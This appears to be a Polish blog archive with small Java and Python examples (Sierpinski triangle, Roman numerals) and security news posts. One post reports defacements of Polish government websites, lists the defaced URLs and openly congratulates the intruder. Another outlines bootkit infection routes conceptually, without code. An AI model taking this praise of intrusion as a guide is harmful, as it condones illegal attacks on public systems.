Java - Fraktale - Trójkąt Sierpińskiego.

Fraktale - Trójkąt Sierpińskiego .Implementacja w Javie.

Sierpiński Wacław, urodził się w 1882, zmarł w 1969, matematyk, jeden z twórców warszawskiej szkoły matematycznej, autor licznych prac z dziedziny teorii mnogości, teorii liczb, teorii funkcji rzeczywistych i topologii. Studiował na uniwersytecie w Warszawie, a następnie podjął pracę w szkolnictwie średnim. Przyłączywszy się do strajku szkolnego w 1905, porzucił tę pracę i wyjechał do Krakowa, gdzie się doktoryzował. Od 1910 był profesorem na uniwersytecie we Lwowie. Prowadzony tam przez Sierpińskiego wykład teorii mnogości był pierwszym w świecie systematycznym wykładem tej teorii. W czasie I wojny światowej Sierpiński był internowany w Rosji przez władze carskie. W 1918 powrócił do Lwowa, a od nowego roku akademickiego 1918/19 objął katedrę matematyki w odrodzonym po latach niewoli Uniwersytecie Warszawskim (UW). W 1920—51 Sierpiński wraz z S. Mazurkiewiczem (do 1945), następnie z K. Kuratowskim pełnił funkcję redaktora naczelnego polskiego czasopisma matematycznego „Fundamenta Mathematicae”. Był inicjatorem Pierwszego Kongresu Matematyków Krajów Słowiańskich, który odbył się w 1929 w Warszawie; reprezentował matematykę polską na sześciu kongresach międzynarodowych. W 1931 — 51 był prezesem Towarzystwa Naukowego Warszawskiego. W okresie okupacji hitlerowskiej wykładał na tajnym uniwersytecie, nie przerywając pracy naukowej. W 1945, po krótkim pobycie na Uniwersytecie Jagiellońskim, powrócił na UW i kontynuował działalność naukową oraz dydaktyczną. W 1958—69 był redaktorem naczelnym wznowionego czasopisma polskiego „Acta Arithmetica”, jedynego wówczas na świecie czasopisma poświęconego głównie teorii liczb. W czasie niezwykle aktywnego życia Sierpiński wykładał na 47 uniwersytetach świata i wykształcił kilka pokoleń matematyków. Jego imieniem nazwano jedną z nagród Polskiego Towarzystwa Matematycznego. Dorobek naukowy Sierpińskiego obejmuje około 900 publikacji, w tym kilkadziesiąt książek, m. in. monografie, podręczniki akademickie, podręczniki szkolne, książeczki popularnonaukowe (kilka ważnych dzieł ukazało się tylko w językach obcych). Pierwsze prace Sierpińskiego dotyczyły teorii liczb. Później (1909) skierował Sierpiński zainteresowania ku teorii mnogości, przyczyniając się do przekształcenia tej dyscypliny matematycznej w usystematyzowaną teorię. Zajmował się głównie aksjomatem wyboru, hipotezą continuum, a także arytmetyką liczb kardynalnych i liczb porządkowych. Niektóre prace Sierpińskiego były poświęcone zagadnieniu przystawania przez rozkład i rozkładom paradoksalnym. W topologii znana jest krzywa Sierpińskiego, zwana także -dywanem Sierpińskiego. Wyniki Sierpińskiego w zakresie funkcji rzeczywistych dotyczą m. in. szeregów funkcyjnych i różniczkowalności funkcji. Sierpiński jest autorem takich książek, jak: Teoria liczb niewymiernych (1910), Teoria liczb (1914), Zarys teorii mnogości, część l Liczby pozaskończone (1923), część 2 Topologia ogólna (1928), Wstęp do teorii mnogości i topologii (1930), Wstęp do teorii funkcji zmiennej rzeczywistej (1932), Wstęp do teorii liczb (1933), Przekroje. Wstęp do teorii liczb niewymiernych (1934), Zasady algebry wyższej (1946), Trójkąty pitagorejskie (1954), Arytmetyka teoretyczna (1955), O rozwiązywaniu równań w liczbach całkowitych (1956), Czym się zajmuje teoria liczb (1957), O rozkładach liczb wymiernych na ułamki proste (1957), O stu prostych, ale trudnych zagadnieniach arytmetyki, z pogranicza geometrii i arytmetyki (1959), Teoria liczb (część 2 1959), Co wiemy, a czego nie wiem v o liczbach pierwszych (1961), Liczby trójkątne (1962), 200 zadań z elementarnej teorii liczb (1964), O teorii mnogości (1964).

Implementacja w Javie.


import java.applet.*;
import java.awt.*;

public class Sierpinski extends Applet {

Graphics g;
Point a1,b1,c1, a2,b2,c2, a3,b3,c3;

int level = 0;

public void init() {
    setBackground(new Color(255,255,255));
}

public boolean mouseDown(Event ev, int x, int y) {
    if (!ev.metaDown()) level += 1;
    else if (level>0) level -= 1;
    repaint();
    return true;
}

public void paint(Graphics g) {

    int xCoords[] = {10, 390, 200};
    int yCoords[] = {390, 390, 10};
    g.drawPolygon(xCoords, yCoords, 3);

    drawTriangle(g, new Point(10,390),new Point(390,390),new Point(200,10), level);
}

public void drawTriangle(Graphics g, Point a, Point b, Point c, int level) {

    if (level==0) return;

    level -= 1;

    int xCoords[] = {c.x, (c.x+b.x)/2, (a.x+c.x)/2};
    int yCoords[] = {b.y, (c.y+a.y)/2, (c.y+a.y)/2};

    g.drawPolygon(xCoords, yCoords, 3);

    a1 = a;
    b1 = new Point(c.x, b.y);
    c1 = new Point((a.x+c.x)/2, (c.y+a.y)/2);
    drawTriangle(g, a1, b1, c1, level);

    a2 = new Point(c.x, b.y);
    b2 = b;
    c2 = new Point((c.x+b.x)/2, (c.y+a.y)/2);
    drawTriangle(g, a2, b2, c2, level);

    a3 = new Point((a.x+c.x)/2, (c.y+a.y)/2);
    b3 = new Point((c.x+b.x)/2, (c.y+a.y)/2);
    c3 = c;
    drawTriangle(g, a3, b3, c3, level);
}
}

Wynik:

Fraktale

Python - Wprowadzenie Do Liczb Rzymskich

Python.orgNie tak dawno pisałem na temat zapisu liczb w notacji rzymskiej oraz zadań testowych w Javie .

Dziś to samo zadanie ale w Pythonie.


def int2roman(number):
    numerals = { 1 : "I", 4 : "IV", 5 : "V", 9 : "IX", 10 : "X", 40 : "XL",
        50 : "L", 90 : "XC", 100 : "C", 400 : "CD", 500 : "D", 900 : "CM", 1000 : "M" }
    result = ""
    for value, numeral in sorted(numerals.items(), reverse=True):
        while number >= value:
            result += numeral
            number -= value

    return resultprint int2roman(input("Enter an integer (1 to 4999): "))

Rezultat wykonania programu:

Python 2.5.2 (r252:60911, Feb 21 2008, 13:11:45) [MSC v.1310 32 bit (Intel)]
Type “help”, “copyright”, “credits” or “license” for more information.
>>>
Evaluating romantoint.py
Enter an integer (1 to 4999): 1967
MCMLXVII
>>>

Chyba nie muszę komentować program napisany w Javie to 176 linii , a w Pythonie 10.

Źródła.

Java - Wprowadzenie Do Liczb Rzymskich

Tekst (opis) ten pochodzi z wikipedi.pl - implementacja w Javie już nie. Dokończenie mojego posta

"Java - Zadania Testowe " z Marca 2008

Najprawdopodobniej spotkaliśmy się już gdzieś z liczbami rzymskimi. Można je spotkać w starszych filmach oglądanych w telewizji (np. "Copyright MCMXLVI" zamiast "-Copyright 1946&quot ;) lub na ścianach bibliotek, czy uniwersytetów (napisy typu "założone w MDCCCLXXXVIII" zamiast "założone w 1888 roku"). Mogliśmy je także zobaczyć na przykład w referencjach bibliograficznych. Ten system reprezentowania liczb sięga czasów starożytnego Rzymu

W liczbach rzymskich wykorzystuje się siedem znaków, które na różne sposoby się powtarza i łączy, aby zapisać pewną liczbę:

  • I = 1
  • V = 5
  • X = 10
  • L = 50
  • C = 100
  • D = 500
  • M = 1000

Poniżej znajdują się podstawowe zasady konstruowania liczb rzymskich:

  • Znaki są addytywne. I to 1, II to 2, a III to 3. VI to 6 (dosłownie, „5 i 1”), VII to 7, a VIII to 8.
  • Znaki dziesiątek (I, X, C i M) mogą się powtarzać do trzech razy. Za czwartym należy odjąć od następnego większego znaku piątek. Nie można zapisać liczby 4 jako IIII. Zamiast tego napiszemy IV ("o 1 mniej niż 5"). Liczba 40 zapisujemy jako XL (o 10 mniej niż 50), 41 jako XLI, 42 jako XLII, 43 jako XLIII, a potem 44 jako XLIV (o 10 mniej niż 50, a potem o 1 mniej niż 5).
  • Podobnie w przypadku 9. Musimy odejmować od wyższego znaku dziesiątek: 8 to VIII, lecz 9 zapiszemy jako IX (o 1 mniej niż 10), a nie jako VIIII (ponieważ znak nie może się powtarzać cztery razy). Liczba 90 to XC, a 900 zapiszemy jako CM.
  • Znaki piątek nie mogą się powtarzać. Liczba 10 jest zawsze reprezentowana przez X, nigdy przez VV. Liczba 100 to zawsze C, nigdy LL.
  • Liczby rzymskie są zawsze pisane od najwyższych do najniższych i czytane od lewej do prawej, więc porządek znaków jest bardzo ważny. DC to 600, jednak CD jest kompletnie inną liczbą (400, ponieważ o 100 mniej niż 500). CI to 101, jednak IC nie jest żadną poprawną liczbą rzymską (nie możemy bezpośrednio odejmować 1 od 100, musimy to zapisać jako XCIX, o 10 mniej niż 100, dodać 1 mniej niż 10).{mospagebreak}

Zasady tworzenia liczb rzymskich prowadzą do kilku interesujących obserwacji:

  1. Istnieje tylko jeden poprawny sposób reprezentowania pewnej liczby w postaci rzymskiej.
  2. Odwrotność też jest prawdą: jeśli ciąg znaków jest poprawną liczbą rzymską, to reprezentuje ona tylko jedną liczbę (tzn. możemy ją przeczytać tylko w jeden sposób).
  3. Tylko ograniczony zakres liczb może być zapisany jako liczby rzymskie, a dokładniej liczby od 1 do 3999 (Liczby rzymskiej posiadają kilka sposobów wyrażania większych liczb np. poprzez dodanie nadkreślenia nad cyframi rzymskimi, co oznacza, że normalną wartość tej liczby trzeba pomnożyć przez 1000, jednak nie będziemy się wdawać w szczegóły. Dla potrzeb tego rozdziału, założymy, że liczby rzymskie idą od 1 do 3999).
  4. Nie mamy możliwość zapisania 0 jako liczby rzymskiej. (Co ciekawe, starożytni Rzymianie nie wyobrażali sobie 0 jako liczby. Za pomocą liczb liczymy, ile czegoś mamy, jednak jak możemy policzyć coś, czego nie mamy?)
  5. Nie możemy w postaci liczby rzymskiej zapisać liczby ujemnej.
  6. W postaci liczby rzymskiej nie możemy zapisywać ułamków, czy liczb, które nie są całkowite.

Biorąc to wszystko pod uwagę, co możemy oczekiwać od zbioru funkcji, które konwertują z i na liczby rzymskie? Wymagania RomanNumeral.java

  1. RomanNumeral.java powinien zwracać rzymską reprezentację wszystkich liczb całkowitych z zakresu od 1 do 3999.
  2. RomanNumeral.java powinien nie zadziałać (ang. fail ), gdy otrzyma liczbę całkowitą z poza przedziału od 1 do 3999.
  3. RomanNumeral.java powinien nie zadziałać, gdy otrzyma niecałkowitą liczbę.
  4. RomanNumeral.java powinien zawsze zwrócić liczbę rzymską korzystając z wielkich liter lub małych liter.

/*******************************************************************************************************
* @(#)RomanNumeral.java
*
* RomanNumeral application
*
* @author Andre W
* @version 1.00 2008
*******************************************************************************************************/
public class RomanNumeral
{
   private String _value;
   private int _intValue;

   public RomanNumeral(int number)
   {
      _intValue = number;
      _value = evaluate(_intValue);
   }

   public int getIntValue()
   {
      return _intValue;
   }

   public String toString()
   {
      return this._value;
   }

   public String getValue()
   {
      return this._value;
   }

   public String getLowerCaseValue()
   {
      return this._value.toLowerCase();
   }

   public static String evaluate(int value)
   {
      StringBuffer ret = new StringBuffer();

      value = doThousands(value, ret);
      value = doHundreds(value, ret);
      value = doTens(value, ret);
      doOnes(value, ret);

      return ret.toString();
   }

   private static int doThousands(int value, StringBuffer buff)
   {
      int ret = value;
      int subtract = 0;

      while (value >= 900)
      {
         if(value >= 1000)
         {
            buff.append("M");
            subtract += 1000;
            value -= 1000;
         }
         else if(value >= 900)
         {
            buff.append("CM");
            subtract += 900;
            value -= 900;
         }
      }

      return ret - subtract;
   }

   private static int doHundreds(int value, StringBuffer buff)
   {
      int ret = value;
      int subtract = 0;

      while (value >= 90)
      {
         if(value >= 500)
         {
            buff.append("D");
            subtract += 500;
            value -= 500;
         }
         else if(value >= 400)
         {
            buff.append("CD");
            subtract += 400;
            value -= 400;
         }
         else if(value >= 100)
         {
            buff.append("C");
            subtract += 100;
            value -= 100;
         }
         else if(value >= 90)
         {
            buff.append("XC");
            subtract += 90;
            value -= 90;
         }
      }

      return ret - subtract;
   }

   private static int doTens(int value, StringBuffer buff)
   {
      int ret = value;
      int subtract = 0;

      while (value >= 9)
      {
         if(value >= 50)
         {
            buff.append("L");
            subtract += 50;
            value -= 50;
         }
         if(value >= 40)
         {
            buff.append("XL");
            subtract += 40;
            value -= 40;
         }
         else if(value >= 10)
         {
            buff.append("X");
            subtract += 10;
            value -= 10;
         }
         else if(value == 9)
         {
            buff.append("IX");
            subtract += 9;
            value -= 9;
         }
      }

      return ret - subtract;
   }

   private static void doOnes(int value, StringBuffer buff)
   {
      while (value > 0)
      {
         if(value >= 5)
         {
            buff.append("V");
            value -= 5;
         }
         else if(value == 4)
         {
            buff.append("IV");
            value -= 4;
         }
         else if(value < 4)
         {
            buff.append(&quot;I&quot;);
            value -= 1;
         }
      }
   }

   public static void main(String[] args)
   {
      for(int x = 1; x <= 3999; x++)
      {
         RomanNumeral rn = new RomanNumeral(x);
         System.out.println(&quot;Int value: &quot; + rn.getIntValue() + &quot; = &quot; + rn.toString() + &quot; or &quot; + rn.getLowerCaseValue());
      }
   }
}

Microsoft Pozwala Atakować Swoje Serwisy, Ale…

Microsoft jest pierwszą dużą firmą, która obiecała, że nie będzie pozywała hakerów za ataki na jej online’owe serwisy. Pod warunkiem, oczywiście, że ataki będą miały na celu wykrycie istniejących luk, a nie zaszkodzenie samym serwerom.

Prawo większości krajów zezwala bowiem specjalistom na wyszukiwanie luk w oprogramowaniu, które zainstalowali na własnym komputerze, jednak wszelkie próby testowania zabezpieczeń witryn osób czy firm trzecich, są nielegalne i często surowo karane. Czasami dochodziło do tego, że osoba, która odkryła luki w zabezpieczeniach jakiegoś serwera i informowała o tym jego właściciela, stawała przed sądem.

Alex Stamos, z firmy iSEC Partners, która specjalizuje się w testach penetracyjnych, stwierdził:

Specjaliści obawiają się znajdować luki w aplikacjach sieciowych, bo nigdy nie wiadomo, jak zareaguje firma, na której serwerach są one zainstalowane. To powoduje problemy, bo jedynymi ludźmi, którzy wyszukują te luki, są cyberprzestępcy

UE: “Nawoływanie do terroryzmu” Przez Internet Będzie Karane

DI

Przepisy, które pozwalają na karanie osób nawołujących przez Internet do terroryzmu, zostały przyjęte przez Radę Unii Europejskiej. Prawodawcy zapewniają, że nie zostaną one wykorzystane do krępowania wolności wypowiedzi, ale nie da się ukryć, że decyzja jest dość kontrowersyjna.

Nowe przepisy znalazły się w przyjętej przez Radę nowelizacji Decyzji Ramowej z dnia 13 stycznia 2002, w oparciu o którą kształtowana jest europejska polityka wobec terroryzmu. Mówiąc najprościej nowelizacja wprowadza trzy nowe przestępstwa tzn.:

  • publiczną prowokację do popełnienia przestępstwa terroryzmu,
  • rekrutowanie do organizacji terrorystycznych oraz
  • przeprowadzanie szkoleń terrorystów
  • Pomysł ograniczenia w internecie treści związanych m. in. z produkcją bomb padł po raz pierwszy w listopadzie ubiegłego roku. Wtedy proponowano, aby strony zawierające takie instrukcje zniknęły z indeksów wyszukiwarek.

    Kontrowersje

    Europejscy prawodawcy zapewniają, że przepisy nie posłużą do krępowania wolności słowa. W informacji dla prasy czytamy, że osoby zamieszczające informacje dotyczące bomb będą skazane tylko wtedy, jeśli rozpowszechniane informacje przyczynią się do terroryzmu i zostaną umieszczone w Sieci z taką intencją.

    Nowe rozwiązania mimo wszystko krytykują obrońcy praw obywatelskich oraz niektórzy politycy. 7 kwietnia deputowani do Parlamentu Europejskiego oraz posłowie z parlamentów krajowych dyskutowali na ten temat.

    Brytyjska posłanka Sarah Ludford wskazała w trakcie rozmów na doniesienia brytyjskich mediów o tym, iż londyńska policja zagroziła aresztowaniami demonstrantom protestującym przeciwko okupacji Tybetu. Podstawą do aresztowań osób, które zakłóciły przebieg sztafety olimpijskiej miały być podobno… przepisy antyterrorystyczne. Deputowana dodała, że jej zdaniem kryminalizacja działań takich jak “nawoływanie” czy “podżeganie” szybko doprowadzi do uznania za przestępstwo również swobody wypowiedzi.

    Także francuska socjalistka Roselyne Lefrançois podkreśliła, że zapis o “nawoływaniu do terroryzmu” wymaga ścisłej definicji. “W tym miejscu pojawia się pytanie o granice wolności wypowiedzi” – mówiła Lefrançois mimo wszystko przyznając, że w Internecie nie brakuje stron gloryfikujących terroryzm i dających niebezpieczne wskazówki.

    Wciąż wiele pytań pozostaje bez odpowiedzi. Zanim przyjęta nowelizacja wejdzie w życie, odbędą się jeszcze dyskusje na ten temat w parlamentach krajowych. Niewykluczone, że wtedy przekonamy się, czy proponowanym przepisom bliżej do ochrony przed terroryzmem, czy do cenzury.

    Całość można przeczytać na stronach www.di.com.pl

    BrandZ Top 100

    http://www.millwardbrown.comMillward Brown to jedna z wiodących światowych agencji badawczych i ekspert w zakresie badań nad skutecznością reklamy, komunikacją marketingową, mediami i siłą marek. Stosując zintegrowany zestaw sprawdzonych rozwiązań badawczych – tak jakościowych, jak i ilościowych – Millward Brown pomaga swoim klientom budować silne marki i usługi.

    Otóż ta firma opublikowała swój kolejny raport “BrandZ Top 100″, w którym wymienia 100 najbardziej wartościowych brandów świata. W 2008 roku wartość wszystkich brandów z Top 100 wzrosła o 21%, z 1,6 biliona USD do 1,94 biliona USD.
    Na liście 10 najbardziej wartościowych marek znajdziemy cztery firmy:

    GoogleNa pierwszym miejscu uplasowało się Google. Wartość tej marki to 86,057 miliarda USD (wzrost o 30%).  Microsoft, IBM, Apple . Wszystkie reperzentują branżę IT.

    Więcej na tent temat można przeytać tutaj

    Błąd W Jądrze Windows

    Powtarzając za onet.pl:

    Microsoft ostrzegł przed błędem w jądrze systemu Windows. Dzięki niemu zalogowany użytkownik może zwiększyć swoje uprawnienia i przejąć kontrolę nad systemem. Dziura występuje z OS-ach: Windows XP Professional z SP2, Windows Vista, Windows Server 2003 oraz Windows Server 2008.
    Szczególnie narażeni na niebezpieczeństwo są firmy hostujące, które pozwalają swoim klientom na wykonywanie własnego kodu na serwerach IIS i SQL.

    teletechNa stronach Microsoftu TechNet można przeczytać ,że problem ten dotyczy następujących systemów tejże firmy:

    Windows XP Professional Service Pack 2
    Windows Server 2003 Service Pack 1 and Windows Server 2003 Service Pack 2
    Windows Server 2003 x64 Edition and Windows Server 2003 x64 Edition Service Pack 2
    Windows Server 2003 with SP1 for Itanium-based Systems and Windows Server 2003 with SP2 for Itanium based Systems
    Windows Vista and Windows Vista Service Pack 1
    Windows Vista x64 Edition and Windows Vista x64 Edition Service Pack 1
    Windows Server 2008 for 32-bit Systems
    Windows Server 2008 for x64-based Systems
    Windows Server 2008 for Itanium-based Systems

    Ja się zastanawiam kto testował ten system operacyjny ???

    Nie Wiem Kto To Zrobił ,Ale Gratuluję…

    Taki fragment zacytuję ze strony serwisu www.cyberterroryzm.eu.

    Po tym jak we wtorek shakowana została witryna Ministerstwa Pracy i Polityki Społecznej, dnia dzisiejszego doszło do włamania na serwer utrzymujący witrynę Premiera RP.Redaktorów portalu cyberterroryzm.pl poinformował Czytelnik, pragnący zachować anonimowość, który na incydent [at] cyberterroryzm.pl przesłał informację o włamaniu oraz unikalne zrzuty ekranu przedstawiające jego narzędzia. Na stronach należących do KPRM znalazł się ponownie duży, tym razem inny kolorystycznie napis “HACKED”. Czyżby początek końca?

    Haker podmienił następujące witryny:

    • http://www.radalegislacyjna.gov.pl/
    • http://www.polonia.premier.gov.pl/
    • http://www.bz.premier.gov.pl/
    • http://www.dsc.kprm.gov.pl/
    • http://www.pzk.kprm.gov.pl/
    • http://www.budzetzadaniowy.gov.pl/
    • http://www.efs.kprm.gov.pl/

    DI Problem w tym ,że już wcześniej Dziennik Internautów ( Bardzo trudna nazwa ) podawał o zdarzeniu - Zhackowano stronę Ministerstwa Pracy i Polityki Społecznej.

    Oczywiście nic nie zrobiono bo i po co. Nic tam nie było , nie wyciekły dane . Nie dokonano kradzieży … Ot taki mało szkodliwy żart - ale czy aby na pewno ? Ktoś chciał zwrócić uwagę na siebie ? Czy na większyhacka problem ? Co Ciekawe w galerii wyżej cytowanego dziennika jest zrzut ekranu na którym w powiększeniu autor piesze “nic nie ma do kobiet …” Co to miało by oznaczać ? A to bo już miał zamiar dokonać włamu na stronę… Jaką ? Nikt jakoś tego nie przewidział ? Czy też nie sprawdził ?

    Ciekawej analizy dokonali także redaktorzy serwisu cyberterroryzm.eu :

    Przyjrzyjmy się bliżej serwerowi utrzymującemu serwisy internetowe Premiera RP. Na zrzucie ekranu przedstawionym poniżej widać, iż serwerem WWW utrzymującym strony jest Apache, wsparty PHP w wersji 4.4.7. Linux z jądrem systemu w wersji 2.6.9-1.667smp, który zainstalowano 2 listopada 2004 roku. Rozwoju PHP serii 4.* zaprzestano 31 grudnia 2007 roku i od tamtego czasu, rozwijana i zabezpieczana jest tylko seria 5.*. 3 stycznia wydano ostatnią wersję tej serii w wersji 4.4.8. Najnowszym jądrem systemu Linux serii 2.6* jest 2.6.25 z dnia 17 kwietnia 2008 roku. Czy te cztery lata różnicy w rozwoju oprogramowania Apache i wynajdowania w nim setek luk bezpieczeństwa nie wydaje się administratorom istotny?

    Cytowane zrzuty ekranu można zobaczyć ( źródło - cyberterroryzm.eu ) :

    Dodam od siebie tylko tyle:

    Nieszczęściem naszego Rządu jest to ,że ma takich “szefów bezpieczeństwa ” , a szczęściem jest to ,że nic o tym nie wie.

    Co ciekawe ,jaki jest zaskoczony Pan Policjant ( źródło DI ) :

    Oficer prasowy Komendy Głównej Policji Zbigniew Urbański powiedział IAR, że jest zdziwiony tym, że osoby atakujące wybierają na swój cel akurat strony rządowe. Jak wyjaśnił - grozi za to najwyższa możliwa kara związana z przestępstwami internetowymi - do ośmiu lat więzienia.

    A ja zapytam czy On widział treść umieszczoną na “shakowanej” stronie Ministerstwa Pracy i Polityki Społecznej ? Co tam jest - to ,że Haker ( z dużej litery ) pisze ( mój skrót ) ,że on w imieniu 2 milionów ludzi ,którzy musieli wyjechać z Polski dziękuje …

    Tu był prawdziwy zamysł człowieka , który dokonał “włamania” na strony cytowanego Ministerstwa.

    Oczywiście media dokonają interpretacji tego wyczynu po swojemu pomijając Ten tekst jako mało istotny.

    Już można przeczytać ( źródło DI ) :

    W tej chwili nie można z całą pewnością powiedzieć, czy ataku dokonała ta sama osoba, która dwa dni temu zostawiła informację o zhackowaniu na stronie ministerstwa Pracy i Polityki Społecznej. Informacja pozostawiona na stronie KPRM wyraźnie jednak na to wskazuje.

    Czy aby na pewno ? Wcale się nie dziwię temu człowiekowi ,że właśnie taki tekst tam umieścił. Nikt z młodych Polaków ( nie tylko programistów ) nie wyobraża siebie w następujący sposób:

    Coder

    Dlatego powiem ponownie - nie wiem kto to zrobił ,ale gratuluję.

    Bootkity - Co To Jest ?

    Bootkity to stara technika ataków, polegająca na zarażaniu komputera podczas jego startu. Teraz powraca w nowej, groźnej formie, atakując systemy Windows Vista.

    bookit W czasach systemu MS-DOS i Windows 3.11-95/98 wirusy tego typu występowały bardzo często. Obecnie technologia ta - wydawałoby się przestarzała - wraca do łask. Nowy system Microsoftu zawiera zabezpieczenia jądra, poważnie utrudniające instalację złośliwego oprogramowania jako jego składnika, więc crackerzy zaczęli szukać alternatywnej drogi do umieszczenia złośliwego kodu. Ponieważ obejście zabezpieczeń w Vista nie jest łatwe, przygotowali mechanizmy umożliwiające kontrolowane uruchomienie Windows w przejętym środowisku startowym.

    Pierwszym zwiastunem nowego zagrożenia była opublikowana na liście Usenet koncepcja utworzenia rootkita przejmującego kontrolę nad systemem Windows XP podczas jego uruchamiania.

    Rozrzucone ogniska choroby

    Chociaż jest wiele wirusów, które to robią, ten pomysł był bardzo zaawansowany, gdyż rootkit ten - określany też jako bootkit - modyfikował tylko główny rekord rozruchowy MBR (Master Boot Record) i umieszczał w kilku miejscach na dysku kod ładujący system w kontrolowanym przez siebie środowisku. Tym samym tropem poszła grupa hakerów eEye przygotowując pierwsze koncepcyjne fragmenty kodu przeznaczonego dla Visty, najdalej zaś poszła NVLabs, która przygotowała funkcjonalnego bootkita przejmującego kontrolę nad systemem i dokonującego jego zmian bez zapisu jakichkolwiek danych na dysk.
    Obecnie wirusy przenoszące się przez MBR są rzadkością, bo każdy program antywirusowy sprawdza integralność wszystkich etapów ładowania systemu Windows i umieszczanie jakiegokolwiek kodu w tym miejscu mija się z celem. Można, co prawda, modyfikować sposób dostępu do dysku w systemie, ale jest to pracochłonne i stosunkowo łatwe do wykrycia. Twórcy bootkitów znaleźli jednak sposób rozwiązania tego problemu - użyli opcji uruchomienia kodu z sieci, płyty lub z tymczasowo zarażonego dysku.

    Drogi ataków na Windows Vista

    Najprostsze do wykonania jest przygotowanie CD-ROM lub modyfikacja serwera DHCP. W przypadku startu z sieci, analiza powłamaniowa będzie skrajnie trudna, zaś odłączenie komputera od sieci i przeniesienie do separowanej sieci serwisowej w celu analizy spowoduje, że będzie on pracował zupełnie normalnie. Jeśli w firmie wykorzystuje się system IPS, to rootkit wykorzystujący PXE powinien wywołać alarm. Najtrudniejsza do wykrycia jest modyfikacja firmware w urządzeniach wewnątrz komputera (kontroler SCSI, karta sieciowa, karta graficzna itp.). Warto zauważyć, że rootkit umieszczany tą drogą zachowuje funkcjonalność także poza siecią firmy. To jest jego słaby punkt. Inne metody to:

    1. Modyfikacja sektorów startowych dysku twardego - jest to permanentna instalacja bootkita, niewymagająca zmian ustawień sprzętu. Narzędzia przeznaczone do wykrywania złośliwego kodu uruchamiane np. z płytki startowej sobie z tym poradzą. Być może wykryją to także programy antywirusowe.
    2. PXE - zdalny start komputera przy pomocy karty sieciowej i odpowiednich zasobów sieci lokalnej. Wymaga to włamania na serwer DHCP i włączenia (lub wyposażenia go) w opcję zdalnego uruchamiania innych komputerów tą drogą. Dodatkowo wymaga włączenia opcji startu z sieci jako pierwszego wykorzystywanego źródła uruchomienia komputera.
    3. Start z innego nośnika (CD-ROM, pamięć flash) - jest możliwe w przypadku odblokowania odpowiedniej opcji w BIOS i podstawieniu nośnika z bootkitem.
    4. Modyfikacja BIOS karty graficznej, sieciowej, kontrolera SCSI, innych urządzeń wyposażonych w modyfikowalną pamięć EEPROM, a niedostatecznie zabezpieczonych - modyfikacja tego typu jest bardzo trudna do wykrycia. Nie jest łatwo wykonać własny firmware, trudno również go wgrać, ale po udanym ataku maszyna jest praktycznie bezbronna do czasu usunięcia fragmentów złośliwego kodu z nieulotnej pamięci.

    Bootkit jest ładowany podczas uruchamiania komputera z płyty CD, nośnika USB lub startu z sieci przez PXE i pobraniu kodu ze skompromitowanego serwera DHCP/BOOTP. Bootkit uruchamia Windows Vista w kontrolowanym przez siebie środowisku, zaś program antywirusowy przy sprawdzaniu dysku nie wykaże żadnych nieprawidłowości. Po zamknięciu systemu, dysk także będzie “czysty”. Potencjalnie pozostaje możliwość wykrycia działającego bootkita w pamięci systemu. Ale dobrze napisany kod będzie potrafił ominąć algorytmy detekcji. Były już takie przypadki. Wystarczy wspomnieć choćby Hacker Defender Brilliant, który przez pewien czas wymykał się popularnym narzędziom do wykrywania złośliwych kodów. Programy antywirusowe wykrywają wszystkie omawiane tutaj bootkity, ale powstanie nowych jest tylko kwestią czasu.

    Model ataku

    Rootkit startujący system, czyli bootkit, najpierw przejmuje kontrolę nad systemem, później nad obsługą jednego z przerwań, a potem szuka systemu Windows Vista. Gdy go znajdzie, rozpoczyna jego modyfikację tak, aby ukryć się w małych porcjach kodu, rozproszonych w różnych obszarach pamięci. Bootkit omija zabezpieczenia, takie jak sumy kontrolne, sprawdzanie cyfrowych podpisów obiektów itd.

    Podczas ładowania jądra Windows Vista zostają zmodyfikowane zabezpieczenia systemu, tak aby bootkit został aktywny podczas pracy systemu, aż do jego restartu. Twórcy tego kodu analizowali wiele poziomów zabezpieczeń, od sum kontrolnych nagłówka PE, aż po cyfrowe podpisy plików. Wszystkie dostępne zabezpieczenia udało się obejść. Dzięki temu, że Windows Vista musi zachować pewien poziom zgodności z istniejącymi aplikacjami, bootkit może prawdopodobnie działać we wszystkich zlokalizowanych wersjach systemu, z polską działa bez problemu.

    Źródło Computerworld

    Inne :

    Bezpieczeństwo CMS.

    Wiele napisano już o bezpizpieczeństwie Systemów Zarządzania Treścią ( dalej CMS ) . W wyszkiwarce Google odnalazłem 330 000 linków zawierających hasło “Bezpieczeństwo CMS”.

    Google

    Dla przypomnienia tylko - CMS (Content Management System) to skrót, który ostatnio na dobre zadomowił się w wielu językach. W dosłownym tłumaczeniu oznacza system zarządzania treścią stron publikowanych w internecie. Skrót cms stał się tak popularny, ponieważ technologia która za nim stoi wnosi bardzo dużo do sposobu zarządzania stronami internetowymi - zarządzania informacjami oraz sposobem ich wizualizacji.

    Popularność tych systemów jest oparta na tym ,że są “za darmo” - ale bądzmy realistami.W normalnym, realnym świecie utarło się, że jeśli coś jest za darmo, prawdopodobnie nie przedstawia dużej wartości. Generalnie mało jest rzeczy w realnym świecie które możemy dostać za darmo, nie mówiąc już o rzeczach wartościowych. Jednocześnie naszym podobnym skrótem myślowym jest, że jeśli coś kosztuje dużo to musi być dobre.Świat Internetu rządzi się trochę innymi prawami niż świat realny, i tutaj “darmowy” wcale nie oznacza do niczego, a wręcz przeciwnie. W sieci można znaleźć bardzo wiele różnego rodzaju aplikacji, które za darmo potrafią zrobić naprawdę bardzo wiele rzeczy.Ale nikt do końca może nie zdaje sobie sprawy ile niebezpieczeństw niesie ze sobą takie “darmowe oprogramowanie” w szczególności systemy CMS.Zacytuje tutaj “10 podstawowych błędów związnych z instalacja oraz administracją systemów CMS” tekst ten kiedyś , “krązył” w środowisku programistów oraz uzytkowników systemu CMS Joomla.

    • Wybierz najtańszego z możliwych dostawców hostingu, utrzymującego na swoich serwerach tysiace stron WWW, z których największy ruch generują serwisy porno.
    • Nie trać czasu na wykonywanie regularnych kopii zapasowych. Może administrator Twego serwera hostingowego kiedyś Ci pomoze.
    • Nie zawracaj sobie głowy dostrajaniem swojego CMS’a i PHP pod kątem bezpieczeństwa. Przecież instalacja była debilnie prosta! Jak reszta mogłaby być zła? Martw sie o szczegóły jedynie wtedy, jak wystąpi jakiś problem.
    • Używaj tego samego loginu i hasła do Twego konta w eBanku, do Panelu Administratora CMS’a, konta w sklepie internetowym, konta poczty elektronicznej itp. Hej, a kto ma czas spamiętać tyle haseł? Jakkolwiek by nie było, odkąd przestałeś zmieniać hasła o ileż łatwiejsze jest używanie tych samych danych zawsze i wszędzie.
